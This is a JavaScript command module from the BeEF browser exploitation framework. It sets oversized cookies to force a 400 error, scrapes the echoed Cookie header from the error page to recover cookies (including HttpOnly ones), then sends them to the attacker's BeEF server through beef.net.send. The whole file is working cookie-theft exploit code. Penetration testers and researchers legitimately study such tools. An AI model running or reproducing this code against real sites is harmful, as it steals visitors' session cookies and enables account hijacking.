//
// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

// BASED ON https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08

beef.execute(function() {

	function setCookies (good) {

		var str = "";
		
		for (var i=0; i< 819; i++) {
			str += "z";
		}
		
		for (i = 0; i < 10; i++) {
			
			if (good) {		// Expire evil cookie
				var cookie = "beef" + i + "=;expires=" + new Date(+new Date()-1).toUTCString() + "; path=/;";
			} else {		// Set evil cookie
				var cookie = "beef" + i + "=" + str + "; path=/";
			}
		document.cookie = cookie;
		}
	}

	function makeRequest() {
		setCookies();

		function parseCookies () {
			var cookie_dict = {};
			
			// React on 400 status
			if (xhr.readyState === 4 && xhr.status === 400) {
				
				// Replace newlines and match <pre> content
				var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
				
				if (content.length) {
					
					// Remove "Cookie:" prefix
					content = content[1].replace("Cookie: ", "");
					
					var cookies = content.replace(/beef\d=z+;?/g, '').split(/;/g);
					
					// Add cookies to object
					for (var i=0; i<cookies.length; i++) {
						var s_c = cookies[i].split('=',2);
						cookie_dict[s_c[0]] = s_c[1];
					}
				}
				
				// Unset malicious cookies
				setCookies(true);
	
				var result = JSON.stringify(cookie_dict);
	
				beef.net.send("<%= @command_url %>", <%= @command_id %>, "cookies="+result);
	
			}
		}
		
		// Make XHR request
		var xhr = new XMLHttpRequest();
		xhr.onreadystatechange = parseCookies;
		xhr.open("GET", "/", true);
		xhr.send(null);
	}

	makeRequest();

});